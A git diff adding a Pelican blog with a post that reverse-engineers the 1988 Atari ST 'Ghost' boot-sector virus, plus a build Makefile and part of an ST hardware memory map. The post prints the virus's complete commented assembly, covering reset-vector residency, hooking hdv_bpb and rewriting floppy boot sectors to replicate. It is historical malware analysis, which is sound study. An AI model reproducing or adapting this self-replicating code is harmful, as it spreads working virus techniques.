diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..8ac8980 --- /dev/null +++ b/Makefile @@ -0,0 +1,79 @@ +PY?= +PELICAN?=pelican +PELICANOPTS= + +BASEDIR=$(CURDIR) +INPUTDIR=$(BASEDIR)/content +OUTPUTDIR=$(BASEDIR)/output +CONFFILE=$(BASEDIR)/pelicanconf.py +PUBLISHCONF=$(BASEDIR)/publishconf.py + +GITHUB_PAGES_BRANCH=gh-pages + + +DEBUG ?= 0 +ifeq ($(DEBUG), 1) + PELICANOPTS += -D +endif + +RELATIVE ?= 0 +ifeq ($(RELATIVE), 1) + PELICANOPTS += --relative-urls +endif + +SERVER ?= "0.0.0.0" + +PORT ?= 0 +ifneq ($(PORT), 0) + PELICANOPTS += -p $(PORT) +endif + + +help: + @echo 'Makefile for a pelican Web site ' + @echo ' ' + @echo 'Usage: ' + @echo ' make html (re)generate the web site ' + @echo ' make clean remove the generated files ' + @echo ' make regenerate regenerate files upon modification ' + @echo ' make publish generate using production settings ' + @echo ' make serve [PORT=8000] serve site at http://localhost:8000' + @echo ' make serve-global [SERVER=0.0.0.0] serve (as root) to $(SERVER):80 ' + @echo ' make devserver [PORT=8000] serve and regenerate together ' + @echo ' make devserver-global regenerate and serve on 0.0.0.0 ' + @echo ' make github upload the web site via gh-pages ' + @echo ' ' + @echo 'Set the DEBUG variable to 1 to enable debugging, e.g. make DEBUG=1 html ' + @echo 'Set the RELATIVE variable to 1 to enable relative urls ' + @echo ' ' + +html: + "$(PELICAN)" "$(INPUTDIR)" -o "$(OUTPUTDIR)" -s "$(CONFFILE)" $(PELICANOPTS) + +clean: + [ ! -d "$(OUTPUTDIR)" ] || rm -rf "$(OUTPUTDIR)" + +regenerate: + "$(PELICAN)" -r "$(INPUTDIR)" -o "$(OUTPUTDIR)" -s "$(CONFFILE)" $(PELICANOPTS) + +serve: + "$(PELICAN)" -l "$(INPUTDIR)" -o "$(OUTPUTDIR)" -s "$(CONFFILE)" $(PELICANOPTS) + +serve-global: + "$(PELICAN)" -l "$(INPUTDIR)" -o "$(OUTPUTDIR)" -s "$(CONFFILE)" $(PELICANOPTS) -b $(SERVER) + +devserver: + "$(PELICAN)" -lr "$(INPUTDIR)" -o "$(OUTPUTDIR)" -s "$(CONFFILE)" $(PELICANOPTS) + +devserver-global: + "$(PELICAN)" -lr "$(INPUTDIR)" -o "$(OUTPUTDIR)" -s "$(CONFFILE)" $(PELICANOPTS) -b 0.0.0.0 + +publish: + "$(PELICAN)" "$(INPUTDIR)" -o "$(OUTPUTDIR)" -s "$(PUBLISHCONF)" $(PELICANOPTS) + +github: publish + ghp-import -m "Generate Pelican site" -b $(GITHUB_PAGES_BRANCH) "$(OUTPUTDIR)" + git push origin $(GITHUB_PAGES_BRANCH) + + +.PHONY: html help clean regenerate serve serve-global devserver devserver-global publish github \ No newline at end of file diff --git a/content/ghost.md b/content/ghost.md new file mode 100644 index 0000000..ba27183 --- /dev/null +++ b/content/ghost.md @@ -0,0 +1,367 @@ +Title: The infamous Ghost Virus +Date: 2024-08-17 07:13 +Location: Stockholm / Sweden +Category: Atari ST, Virus +Lang: en +Author: shazz + + +## Introduction + +To start this journey in the world of Atari ST viruses, I decided to reverse engineered probably the most well known ST virus, it spreaded like cold in the winter, everybody had loppy infected. And I must admit, the first times I "caught" it, I did not even notice it was a virus, I thought it was an OS bug and I learnt to live with it! A little like the flu, the Ghost Virus was not lethal, maybe coded as a joke, we'll probably never know. Its symptoms where simple, after 10 replications, the vertical mouse direction was inverted. And "fixed" after 5 new replications, and so on. +So basically, it was like using your mouse like in typical flight simulators, go up... to go down. +Yeah... like the flu, a little bothering but nothing that bad :) + +It looks like it appeared in 1988, some people claim it originated from England from somebody called Pash. But I was not able to find any link or proofs of that. Internet did not really exist at this time. That would be awesome to find its creator and know more but.... that's a long time ago now. + +## High level specs + +Anyway, to summarize and before going into the details, here are the main characteristics of the Ghost Virus: + + - executable bootsector virus + - memory resident using the official reset vector + - memory resident using the undocumented technique + - replaces the orignal HDV_BPB vector to be activated on any floppy (A or B) reads + - copied itself on unused User Vectors RAM space + - activate symptoms after 10 copies then switched OFF/ON every 5 copies + + +## The details + +Finding the virus is straight forward, I'm sure I still have some infected disks and it was so wide-spread that some magazine disks or game compilations are still propragating it :) But, I was lazy, I simply extracted it from antivirus databases (which were not encrypted at all in most cases). + +Then I disassembling it using Eazy Rider on Hatari and checked with my preferred hex tools: ImHex which has a pretty good disassembler. +I reformatted and commented the code, line by line, to be sure I understood all the magic. + +I also hacked a simple testing tool to be sure my "cleaned" version was still working as expected, so basically a TOS program to load the virus in memory, as the TOS boot loader is doing (if you're curious, check the [TOS disassembly code](https://github.com/th-otto/tos1x/blob/master/bios/startup.S)). I'll do another post later on this testing tool. + +#### Setting some constants for readability + +Let's start with some constants, they will be useful later on. + +```asm +PHYSTOP equ $42E +RESVEC_ENA equ $426 +RESVEC equ $42A +RESVEC_MAGIC equ $31415926 +RESIDENT_MAGIC equ $12123456 +RESIDENT_CHK equ $5678 +HDV_BPB equ $472 +BOOT_CHK equ $1234 +PAGE_SIZE equ 512 + +; xbios +XBIOS equ 14 +KBDVBASE equ $22 +FLOPRD equ 8 +FLOPWR equ 9 +MOUSEVEC_OFFSET equ 16 + +; variables +COUNTER_DEFAULT equ $FFFFFFFB + +; RAM locations +BOOTSECT_BUF equ $4C6 +RAM_ADDR equ $140 +RESET_VECTOR_ADDR equ $194 +HDV_HPB_JMP_ADDR equ RESET_VECTOR_ADDR + (HDV_HPB_ORIGINAL_VECTOR - RESET_VECTOR) + 2 +COUNTER_ADDR equ RESET_VECTOR_ADDR + (COUNTER - RESET_VECTOR) +INITMOUS_PARAMS_ADDR equ RESET_VECTOR_ADDR + (INITMOUS_PARAMS - RESET_VECTOR) +RESET_VECTOR_PAGE equ PAGE_SIZE*64 +RESET_VECTOR_SUBPAGE equ PAGE_SIZE*1 +``` + +What to note at this point, the virus is using some XBIOS functions, the reset vector and the HDV_HPB vector. But we'll dig into that later. + +#### The Loader + +Then, the bootsector code starts with what I call the `Loader` part, dedicated to set the official reset vector to be "reset-proof" then copy itself in the ST memory at a "stealh" location, into the unused user vector space (ST only) from $140 to $380, so 576 bytes available, more than the bootsector itself. Please refer to this post to check the [ST memory map](http://127.0.0.1:8000/the-atari-stttfalcon-memory-map-en.html) + + +Let's see the details: + +```asm +LOADER: + MOVE.L #$D6,D3 ; D3 = 214 + LEA RAM_ADDR.W,A1 ; A1 @ 320 (0x140) => 1st USER DEFINED VECTOR + LEA LOADER(PC),A2 ; A2 @ LOADER + MOVE.L (A2),D2 ; STOP IF L001 IS IN 0x140 + CMP.L (A1),D2 + BEQ LOADER_END + MOVE.L #RESVEC_MAGIC,D0 ; ELSE D0 = 0x31415926 + CLR.L D1 ; D1 - 0 + CMP.L RESVEC_ENA.W,D0 ; IF @ 0x426 != 0x31415926 => If this location contains the magic number $31415926 + ; then the system will jump through resvector (42A) on a system reset + BNE PASS_RESVEC ; GOTO PASS_RESVEC + MOVE.L RESVEC.W,D1 ; ELSE D1 = 0x42A +PASS_RESVEC: + LEA RESET_VECTOR_FLAG(PC),A0 ; A0 = payload start address (RESET_VECTOR_FLAG) + MOVE.L D1,(A0) ; D1 = resvector address copied to empty space in RESET_VECTOR_FLAG + MOVE.L #$194,D2 ; set 0x194 (LOADER) in D2 to be the reset vector address + MOVE.L D2,RESVEC.W ; resvector: If the magic number in resvalid is set properly, this vector will be + ; jumped through on a system reset with the return address placed in A6. + MOVE.L D0,RESVEC_ENA.W ; set magic value +COPY_LOADER: + MOVE.W (A2)+,(A1)+ ; FOR i = 214 TO 0 (214 words so 428 bytes) + DBF D3,COPY_LOADER ; COPY THIS PROGRAM A2+ (LOADER)+ to A1+ ($140)+ + MOVE.L #COUNTER_DEFAULT,COUNTER_ADDR.W ; reset counter to -10 + BSR.S INSTALL_HDV_HPB +LOADER_END: RTS +``` + +What to notice: + + 1. The loader checks if it is already copied at the target location (0x140), meaning the first byte is the same. If this is the case, it just do nothing more (`LOADER_END`) + 1. The Loader will also check the magic value, `0x31415926`, is set in the resvec register (`0x426`). If not, it will setup the reset vector: + 1. Set the reset vector routine address `RESET_VECTOR` (`0x194`) in `RESVEC` (`0x42A`) + 1. Set the magic value `0x31415926` to `RESVEC_ENA` (`0x426`) + 1. Copy itself (428 bytes, more than needed) to `RAM_ADDR` (`0x140`). Not that this will relocate the RESET_VECTOR part at `0x194` as expected. + 1. It will reset the replication counter `COUNTER_ADDR` to the default value: 0xFFFFFFFB which means -5 after owverflow + 1. Finally it will branch to the `INSTALL_HDV_HPB` sub routine + +Note: for the first pass, when the bootsector is executed from his temporary location (`DSKBUFP`), the `RESET_VECTOR_FLAG`. If I'mm not wrong: + - the `LOADER` copy in `0x140` is never banched and executed, it is used as storage to be copied on the bootsector + - the `RESET_VECTOR_FLAG` value will be updated at the next boot, as the reset vector will be set, when the bootsector is executed again + +#### The HDV_NPB setup + +Last setup, the loader installs the routine overloading the `HDV_HPB` vector, used when `Getbpb()` is called by any aplication or the GEM. + + +```asm +INSTALL_HDV_HPB: + MOVE.L #RESVEC_MAGIC,RESVEC_ENA.W ; set magic value + MOVE.L HDV_BPB.W,D0 ; hdv_bpb: This vector is used when Getbpb() is called. + ; A value of 0 indicates that no hard disk is attached. + ; Applications installing themselves here should expect + ; parameters to be located on the stack as they would be for the actual function call beginning at 4(sp). + ; If the installed process services the call it should RTS, + ; otherwise, leaving the stack intact, should JMP through the old vector value + LEA HDV_HPB_JMP_ADDR.W,A0 ; value of 0x2E0 JUMP address + MOVE.L D0,(A0) ; set original jum vector return to JMP + LEA HDV_HPB_VECTOR.W,A0 ; + MOVE.L A0,HDV_BPB.W ; set vector to 0x20E (HDV_HPB_VECTOR) + RTS +``` + +In detals, it: + + 1. sets the magic value `RESVEC_MAGIC`in `RESVEC_ENA` (`0x426`) to enable the reset vector + 1. gets the default hdv_bpb vector address and stores it in `HDV_HPB_JMP_ADDR` + 1. replace the hdv_bpb vector address by `HDV_HPB_VECTOR` + +#### The new hdv_bpb vector + +As set in `HDV_BPB` here is the new hdv_bpb vector which is the heart of the virus. As mentionned before it is excecuted each time the BIOS function Getbpb(). In short: + +``` +BPB *Getbpb( dev ) +WORD dev; +Getbpb() returns the address of the current BPB (Bios Parameter Block) for a mounted device. + +- OPCODE: 7 (0x07) +- AVAILABILITY: All TOS versions. +- PARAMETERS: dev specifies the mounted device (‘A:’ = 0, ‘B:’ = 1) . +- BINDING + move.w dev,-(sp) + move.w #$07,-(sp) + trap #13 + addq.l #4,sp + Getmpb() – 3.31 +- RETURN VALUE: Getbpb() returns a pointer to the device’s BPB. The BPB is defined as follows: + typedef struct + { + WORD recsiz; /* bytes per sector */ + WORD clsiz; /* sectors per cluster */ + WORD clsizb; /* bytes per cluster */ + WORD rdlen; /* sector length of root directory */ + WORD fsiz; /* sectors per FAT */ + WORD fatrec; /* starting sector of second FAT */ + WORD datrec; /* starting sector of data */ + WORD numcl; /* clusters per disk */ + WORD bflags; /* bit 0=1 - 16 bit FAT, else 12 bit */ + } BPB +``` + +So each time an application or the GEM needs to read the disk information, this function is called... and so the virus routine. +The code is detailled but in brief, here is what happens, the routine reads and buffers the bootsector, copy the `Loader` on top of it, patchs it to make it executable and writes it back. + +Each time it happens, a counter is incremented. And if the counter reaches 5 (starting from -5 the first time), the routine will retrieve the `mousevec` vector and then usse it to call the `initmouse` XBIOS function which has an option to inverse the mouse vertical axis. + +```asm +HDV_HPB_VECTOR: + MOVE.W 4(sp),D0 ; hdv_bpb vector + CMP.W #2,D0 ; if dev is nto A or B (>=2), do to original vector + BGE HDV_HPB_ORIGINAL_VECTOR ; else + MOVEM.L A0-sp/D7/D1-D5,-(sp) ; duplicate bootloader + MOVE.W D0,D7 ; D7 contains A or B (0 or 1) + MOVE.L #(0 << 16 | 1),-(sp) ; count: 1 | side: 0 + MOVE.L #(1 << 16 | 0),-(sp) ; track: 0 | sector: 1 + MOVE.W D7,-(sp) ; dev, D7 contains A or B (0 or 1) + CLR.L -(sp) ; rsrvd => 0 + LEA BOOTSECT_BUF.W,A5 + MOVEA.L (A5),A5 ; + MOVEA.L A5,A6 ; + MOVE.L A5,-(sp) ; buf = (BOOTSECT_BUF) + MOVE.W #FLOPRD,-(sp) ; FLOPRD + TRAP #XBIOS + ADDA.L #$14,sp ; fix stack + TST.W D0 ; 0 = success + BMI HDV_HPB_VECTOR_END ; else quit +PATCH_BOOT: + MOVE.W #$601C,(A5) ; patch read bootloader buffer with BRA + ADDA.L #$1E,A5 ; advance buffer to bootloader start ($1E) + LEA LOADER(PC),A4 ; A4 = start bootsector program + LEA PROG_END(PC),A3 ; A3 = end +COPY_LOADER_2: + MOVE.W (A4)+,(A5)+ ; copy virus prg + CMPA.L A3,A4 + BLT.S COPY_LOADER_2 + MOVEA.L A6,A5 + MOVE.W #$FE,D1 ; D1 = 254 bytes + MOVE.W #BOOT_CHK,D0 ; CHK bootsector value +CALC_BOOT_CHK: + SUB.W (A5)+,D0 + DBF D1,CALC_BOOT_CHK + MOVE.W D0,(A5) ; add remainder to make bootsector executable + + MOVE.L #(0 << 16 | 1),-(sp) ; count: 1 | side: 0 + MOVE.L #(1 << 16 | 0),-(sp) ; track: 0 | sector: 1 + MOVE.W D7,-(sp) ; dev, D7 contains A or B (0 or 1) + CLR.L -(sp) ; rsrvd = 0 + MOVE.L A6,-(sp) ; buf = (BOOTSECT_BUF) + MOVE.W #FLOPWR,-(sp) ; FLOPWR + TRAP #XBIOS + ADDA.L #$14,sp ; fix stack + TST.W D0 ; success if 0 + BMI HDV_HPB_VECTOR_END ; else quit + ADDI.L #1,COUNTER_ADDR.W ; add replication counter of 1 + CMPI.L #5,COUNTER_ADDR.W ; if not 5 quit (starting fron 251, meaning 10 iterations then reset to 0 so 5 to 5) + BNE HDV_HPB_VECTOR_END + CLR.L COUNTER_ADDR.W ; else set mousevec + MOVE.W #KBDVBASE,-(sp) ; Kbdvbase() returns a pointer to a system structure containing a ‘jump’ table to system vector handlers. + TRAP #XBIOS + ADDQ.L #2,sp ; fix stack, midivec, vkbderr, vmiderr , statvec, mousevec, clockvec, joyvec pointers struct in set in D0 + ADD.L #MOUSEVEC_OFFSET,D0 ; D0+16 => mousevec + EXG A0,D0 ; A0 = mousevec address + + MOVE.L (A0),-(sp) ;4 ; add mousev vector to stack + PEA INITMOUS_PARAMS(PC) ;4 ; push INITMOUS_PARAMS content: 0x01 | 0x01 | 0x01 | 0x01 + ; param 0 = 1 : y origin at top, this will inverse + ; param 1 = 1 : buttons events as mouse packets + ; param 2 = 1 : x theshold increment of 1 + ; param 3 = 1 : y threshold increment of 1 + MOVE.L #1,-(sp) ;4 ; 0 | 1 : opcode 0 initmouse, mode 1: mouse in relative + TRAP #XBIOS ; XBIOS initmouse(mode, params, vector) + ADDA.L #$C,sp ;12 ; fix stack + + EORI.B #1,INITMOUS_PARAMS_ADDR.W ; Invert INITMOUS_PARAMS_ADDR[0] = y origin to 1 to let people think this is done :D +HDV_HPB_VECTOR_END: MOVEM.L (sp)+,A0-A6/D1-D7 + +HDV_HPB_ORIGINAL_VECTOR: + JMP $00FC0FCA ; will be patched to contain hdv_bpb original vector address + +INITMOUS_PARAMS: + DC.B $01 ; y origin at top + DC.B $01 ; buttons events + DC.B $01 ; x threshold + DC.B $01 ; y threshold + +COUNTER: + DC.L $FFFFFFFB ; replication counter, initialized at -5 + +END: DC.B $00,$00 +``` + +In details, this routine: + + 1. Retrieves the 1st Getbpb() parameter from the stack: dev (0 for A, 1 for B, ...) + 1. If A or B (meaning this is a floppy), reads the bootsector using XBIOS FLOPRD and stores it in a buffer (`BOOTSECT_BUF`) + 1. Patches the buffer adding the classic `0x601C` BRA instruction to branch to the bootsector code + 1. Copies the `Loader` into the buffer at `0x1E` + 1. Compute the checksum andset the lasst word to be equals to `0x1234` rquired to make the bootsector executable + 1. Write back the buffer to the bootsector using XBIOS FLOPWR + 1. Increment the counter `COUNTER_ADDR` (initilialized at -5) + 1. If `COUNTER_ADDR` equals to 5: + 1. use XBIOS KBDVBASE call to retrieve keyboard, midi... ans especiall the mousevec vector (located at `MOUSEVEC_OFFSET` in the returned structure) + 1. Call XBIOS initmouse(mode, params, mouse vector) while setting the first param, y origin at top, to 1 to invert the Y axis + 1. Patch the params data with a XOR to reset the y origin to 0 and remove the virus effect... for 5 copies! + +#### The Reset Vector + +The Reset Vector, installed by the Loader, will use an undocumented TOS feature which allow a routine to be run after reset if a magic value is set at some predefined locations and if the routine checksu is equals to `0x5678` (you'll notice the symetry with the bootsector checksum: `0x1234`). + +```asm +RESET_VECTOR: ; $194 + MOVEA.L PHYSTOP.W,A1 ; Set A1 to phystop (end of mem), $80000/524288 on 520ST + ; ghost looks to install itself at a required $200 boundary page + ; at page 40 ($8000) - 1 ($200) + SUBA.L #RESET_VECTOR_PAGE,A1 ; + SUBA.L #RESET_VECTOR_SUBPAGE,A1 ; decrease a memory page (512 bytes) + + MOVE.L A1,D1 ; Save location address (needed to TOS) + MOVE.L #RESIDENT_MAGIC,(A1)+ ; Add magic word 0x12123456 that TOS looks for + MOVE.L D1,(A1)+ ; then actual memory address of the magic work + + ; In successful case, TOS first does a wrd + ; checksum, which has to be $5678. If that is correct, the code on + ; that double memory page is executed through JSR with return + ; address in A6. + + LEA INSTALL_HDV_HPB(PC),A3 ; A3 = INSTALL_HDV_HPB vector routine + LEA HDV_HPB_VECTOR(PC),A4 ; A3 = HDV_HPB_VECTOR copy routine +COPY_INSTALL_HDV_HPB: + MOVE.W (A3)+,(A1)+ ; copy INSTALL_HDV_HPB vector routine after magic word / address + CMPA.L A4,A3 ; until copy routine address in reached + BLT.S COPY_INSTALL_HDV_HPB + + LEA LOADER(PC),A3 ; A3 = bootloader start + MOVE.L A3,(A1)+ ; then set it at the end (why? after RTS?) + + MOVEA.L D1,A3 ; Reset A3 to ram top location + CLR.W D0 ; clear d0 to store checksum + MOVE.W #$FE,D2 ; D2 = 254 words (2 pages) +CALC_RESIDENT_CHK: + ADD.W (A3)+,D0 ; Compute checksum + DBF D2,CALC_RESIDENT_CHK ; + MOVE.W #RESIDENT_CHK,D2 ; then substract $5678 to adjust the checksum + SUB.W D0,D2 ; + MOVE.W D2,(A3) ; copy this value to the end of the virus + + MOVE.L #0,RESVEC_ENA.W ; remove magic value to resvector + MOVEA.L RESET_VECTOR_FLAG(PC),A1 ; set payload start in a1 + CMPA.L #0,A1 ; check paylaod start is empty + BNE RESET_VECTOR_SET ; if not jump to payload + JMP (A6) ; else jump to original resetvec return address +RESET_VECTOR_SET: + JMP (A1) +``` + +So in order, the reset vector routine: + + 1. Set a specific target address: end of ST RAM (`PHYSTOP` (`0x42E`) depends on model 520, 1040..., for example that's 0x80000 on a 520, 0x100000 on a 1040), then minus 0x8000 and minus 0x200 (basically 32KB + 512 bytes before the end of the available memory) + 1. It has to be on a 0x200 (512) bytes boundary + 1. It is better to be near the end of the memory to limit chances to be overlapped and erased after reset + 1. You'll notice the memory substraction in done in 2 steps and not a "simple" SUBA.L #$8200,A1. Why? It looks to be linked to 68K SUBA opcode which considered the offset as signed as $8000 is half a word. I need to investigate what the assember generates for the size specification: + +``` +Object Code: 1001 ddds 11 ff ffff + 9... .... .. .. .... + where: ddd is the destination address register + s is the size specification + 0 = the source is a sign extended word + 1 = the source is a long word + ffffff is the effective address field +``` + + 1. Then, as not documented :), at this special location the magic number `RESIDENT_MAGIC` (`0x12123456`) as long should be written + 1. And in the next long, the value of this specific location, so in this case `PHYSTOP` - `0x8200` + 1. After this kind of "header", the reset vector copy the `INSTALL_HDV_HPB` routine, the "replicator", word by word. + 1. I also copied, at the end, the `INSTALL_HDV_HPB` address but I don't know why (yet?) + 1. Finally it has to compute the checksum of this resident routine, starting from the location address in the header up to 2 pages (255 words - last word) and fix it to be equals to `RESIDENT_CHK` (`0x5678`) and stores it in the last word. + 1. It disables the reset vector as the resident routine is installed + 1. Jump to the `RESET_VECTOR_FLAG` address if set, which should contains the resvector address, else the original vector address + + + + diff --git a/content/st_memory_map.md b/content/st_memory_map.md new file mode 100644 index 0000000..f90a688 --- /dev/null +++ b/content/st_memory_map.md @@ -0,0 +1,1478 @@ +Title: The Atari ST/TT/Falcon Memory Map +Date: 2024-08-17 08:08 +Location: Stockholm / Sweden +Category: Atari ST, Virus +Lang: en +Author: shazz + + + +``` + .---------------------------------------------------. + |Atari ST/STe/MSTe/TT/F030 Hardware Register Listing| + `---------------------------------------------------' + <<< EXCLUSIVE ST-NEWS VERSION >>> + + Version 7.0 (FINAL REVISION) - 1/22/94 + By Dan Hollis + Copyright (C) 1993/1994 MicroImages Software + +############################################################################## +########## THIS IS THE LAST VERSION OF THE LISTING TO BE DISTRIBUTED ######### +############################################################################## +Due to the absence of feedback, combined with the lack of free time, I will no +longer be updating this listing. This is the FINAL revision. +------------------------------------------------------------------------------ +This document may only be copied unmodified, in its entirety. This document +may ONLY be copied freely, and may NOT be sold. I make no guarantees as to the +accuracy of this document. I cannot be responsible for the use or misuse of +information contained within this document. Use at your own risk! Regardless, +every effort has been taken to ensure this document is as complete and +accurate as possible. +------------------------------------------------------------------------------ + +Many thanks to the following people for their contributions! + +Markus Gutschke, Alexander Herzlinger, Karsten Isakovic, Thomas Binder, +Julian Reschke, Georges Kesseler, Torbjoern Ose, Rickard Troedsson, +Martin Griffiths, Eric Prevoteau + + +Any comments or questions can be sent to me at the following addresses: + +Internet : goemon@venice.mps.ohio-state.edu +MCI Mail : 679-5560 +Snail : Dan Hollis + 744 NW Kinney + Grants Pass, OR 97526 + U.S.A. + +Address Description Space +-------+----------------------------------------------------------------+----- +########CPU Reset Vectors ###### +-------+----------------------------------------------------------------+----- +$000000|Reset : Initial SSP |SP +$000004|Reset : Initial PC |SP +-------+----------------------------------------------------------------+----- +########CPU Exception Vectors ###### +-------+----------------------------------------------------------------+----- +$000008|Bus Error |SD +$00000C|Address Error |SD +$000010|Illegal Instruction |SD +$000014|Zero Divide |SD +$000018|CHK, CHK2 Instruction |SD +$00001C|cpTRAPcc, TRAPcc, TRAPV |SD +$000020|Privilege Violation |SD +$000024|Trace |SD +$000028|Line 1010 Emulator (LineA) |SD +$00002C|Line 1111 Emulator (LineF) |SD +$000030|(Unassigned, Reserved) |SD +$000034|Coprocessor Protocol Violation (68030) |SD +$000038|Format Error (68010) |SD +$00003C|Uninitialized Interrupt Vector |SD +$000040|(Unassigned, Reserved) |SD + : | : : | : +$00005F|(Unassigned, Reserved) |SD +$000060|Spurious Interrupt (Bus error during interrupt) |SD +-------+----------------------------------------------------------------+----- +########Auto-Vector Interrupts ###### +-------+----------------------------------------------------------------+----- +$000064|Level 1 Int Autovector (TT VME) |SD +$000068|Level 2 Int Autovector (HBL) |SD +$00006C|Level 3 Int Autovector (TT VME) |SD +$000070|Level 4 Int Autovector (VBL) |SD +$000074|Level 5 Int Autovector |SD +$000078|Level 6 Int Autovector (MFP) |SD +$00007C|Level 7 Int Autovector |SD +-------+----------------------------------------------------------------+----- +########Trap Instruction Vectors (Trap #n = Vector number + 32 + n) ###### +-------+----------------------------------------------------------------+----- +$000080|Trap #0 |SD +$000084|Trap #1 (GemDOS) |SD +$000088|Trap #2 (AES/VDI) |SD +$00008C|Trap #3 |SD +$000090|Trap #4 |SD +$000094|Trap #5 |SD +$000098|Trap #6 |SD +$00009C|Trap #7 |SD +$0000A0|Trap #8 |SD +$0000A4|Trap #9 |SD +$0000A8|Trap #10 |SD +$0000AC|Trap #11 |SD +$0000B0|Trap #12 | +$0000B4|Trap #13 (BIOS) |SD +$0000B8|Trap #14 (XBIOS) |SD +-------+----------------------------------------------------------------+----- +########Math Coprocessor Vectors (68881/68882/Internal) ###### +-------+----------------------------------------------------------------+----- +$0000C0|FFCP Branch or Set on Unordered Condition |SD +$0000C4|FFCP Inexact Result |SD +$0000C8|FFCP Divide by Zero |SD +$0000CC|FFCP Underflow |SD +$0000D0|FFCP Operand Error |SD +$0000D4|FFCP Overflow |SD +$0000D8|FFCP Signaling NAN |SD +$0000DC|(Unassigned, Reserved) |SD +-------+----------------------------------------------------------------+----- +########PMMU Coprocessor Vectors (68851/Internal) ###### +-------+----------------------------------------------------------------+----- +$0000E0|MMU Configuration Error |SD +$0000E4|MC68851, not used by MC68030 |SD +$0000E8|MC68851, not used by MC68030 |SD +-------+----------------------------------------------------------------+----- +########Miscellaneous Vectors ###### +-------+----------------------------------------------------------------+----- +$0000EC|(Unassigned, Reserved) |SD + : | : : | : +$0000FF|(Unassigned, Reserved) |SD +-------+----------------------------------------------------------------+----- +########User Assigned Interrupt Vectors ###### +-------+----------------------------------------------------------------+----- +$000100|ST-MFP-0 - Centronics busy |SD +$000104|ST-MFP-1 - RS-232 DCD |SD +$000108|ST-MFP-2 - RS-232 CTS |SD +$00010C|ST-MFP-3 - Blitter done |SD +$000110|ST-MFP-4 - Timer D (USART timer) |SD +$000114|ST-MFP-5 - Timer C (200hz Clock) |SD +$000118|ST-MFP-6 - Keyboard/MIDI (ACIA) |SD +$00011C|ST-MFP-7 - FDC/HDC |SD +$000120|ST-MFP-8 - Timer B (HBL) |SD +$000124|ST-MFP-9 - Send Error |SD +$000128|ST-MFP-10 - Send buffer empty |SD +$00012C|ST-MFP-11 - Receive error |SD +$000130|ST-MFP-12 - Receive buffer full |SD +$000134|ST-MFP-13 - Timer A (STe sound) |SD +$000138|ST-MFP-14 - RS-232 Ring detect |SD +$00013C|ST-MFP-15 - GPI7 - Monochrome Detect |SD +$000140|TT-MFP-0 - GPI 0 |SD +$000144|TT-MFP-1 - GPI 1 |SD +$000148|TT-MFP-2 - SCC-DMA Controller |SD +$00014C|TT-MFP-3 - Ring Indicator SCC B |SD +$000150|TT-MFP-4 - Timer D |SD +$000154|TT-MFP-5 - Timer C |SD +$000158|TT-MFP-6 - (Reserved) GPI 4 |SD +$00015C|TT-MFP-7 - SCSI DMA Controller |SD +$000160|TT-MFP-8 - Timer B |SD +$000164|TT-MFP-9 - Send Error |SD +$000168|TT-MFP-10 - Send buffer empty |SD +$00016C|TT-MFP-11 - Receive error |SD +$000170|TT-MFP-12 - Receive buffer full |SD +$000174|TT-MFP-13 - Timer A |SD +$000176|TT-MFP-14 - TT Clock (MC146818A) |SD +$00017C|TT-MFP-15 - TT-SCSI Drive Controller NCR 5380 |SD +$000180|SCC Interrupt |SD +$0001BC|SCC Interrupt |SD +$0001C0|User Defined, Unused |SD + : | : : : | : +$0003FC|User Defined, Unused |SD +-------+----------------------------------------------------------------+----- + +Address Size Description Name +-------+-----+-----------------------------------------------------+---------- +##############System Crash Page ########### +-------+-----+-----------------------------------------------------+---------- +$000380|long |Validates System Crash Page if $12345678 |proc_lives +$000384|.....|Saved registers D0-D7 |proc_dregs +$0003A4|.....|Saved registers A0-A7 |proc_aregs +$0003C4|long |Vector number of crash exception |proc_enum +$0003C8|long |Saved USP |proc_usp +$0003CC|.....|Saved 16 words from exception stack |proc_stk +-------+-----+-----------------------------------------------------+---------- +##############System Variables ########### +-------+-----+-----------------------------------------------------+---------- +$000400|long |GEM Event timer vector |etv_timer +$000404|long |GEM Critical error handler |etv_critic +$000408|long |GEM Program termination vector |etv_term +$00040C|long |GEM Additional vector #1 (Unused) |etv_xtra + : | : | : : : : : | : +$00041C|long |GEM Additional vector #5 (Unused) |etv_xtra +$000420|long |Validates memory configuration if $752019F3 |memvalid +$000424|word |Copy of contents of $FF8001 |memctrl +$000426|long |Validates resvector if $31415926 |resvalid +$00042A|long |Reset vector |resvector +$00042E|long |Physical top of RAM |phystop +$000432|long |Start of TPA (user memory) |_membot +$000436|long |End of TPA (user memory) |_memtop +$00043A|long |Validates memcntrl and memconf if $237698AA |memval2 +$00043E|word |If nonzero, floppy disk VBL routine is disabled |flock +$000440|word |Floppy Seek rate - 0:6ms, 1:12ms, 2:2ms, 3:3ms |seekrate +$000442|word |Time between two timer calls (in milliseconds) |_timer_ms +$000444|word |If not zero, verify floppy disk writes |_fverify +$000446|word |Default boot device |_bootdev +$000448|word |0 - NTSC (60hz), <>0 - PAL (50hz) |palmode +$00044A|word |Default video resolution |defshiftmod +$00044C|word |Copy of contents of $FF8260 |sshiftmod +$00044E|long |Pointer to video RAM (logical screen base) |_v_bas_ad +$000452|word |If not zero, VBL routine is not executed |vblsem +$000454|word |Number of vertical blank routines |nvbls +$000456|long |Pointer to list of vertical blank routines |_vblqueue +$00045A|long |If not zero, points to color palette to be loaded |colorptr +$00045E|long |If not zero, points to video ram for next VBL |screenpt +$000462|long |Counter for number of VBLs |_vbclock +$000466|long |Number of VBL routines executed |_frclock +$00046A|long |Vector for hard disk initialization |hdv_init +$00046E|long |Vector for resolution change |swv_vec +$000472|long |Vector for getbpb for hard disk |hdv_bpb +$000476|long |Vector for read/write routine for hard disk |hdv_rw +$00047A|long |Vector for hard disk boot |hdv_boot +$00047E|long |Vector for hard disk media change |hdv_mediach +$000482|word |If not zero, attempt to load "COMMAND.PRG" on boot |_comload +$000484|byte |Attribute vector for console output BIT 3 2 1 0|conterm + | |Return "kbshift" for BIOS conin --------------' | | || + | |System bell (1 - on) ---------------------------' | || + | |Key repeat (1 - on) ------------------------------' || + | |Key click (1 - on) ---------------------------------'| +$000486|long |Return address for TRAP #14 (unused)|trp14ret +$00048A|long |Return address for critical error handler (unused)|criticret +$00048E|long |Memory descriptor block |themd +$00049E|long |Space for additional memory descriptors |themdmd +$0004A2|long |Pointer to BIOS save registers block |savptr +$0004A6|word |Number of connected floppy drives |_nflops +$0004A8|long |Vector for screen output |con_state +$0004AC|word |Temporary storage for cursor line position |save_row +$0004AE|long |Pointer to save area for exception processing |sav_context +$0004B2|long |Pointer to buffer control block for GEMDOS data |_bufl +$0004B6|long 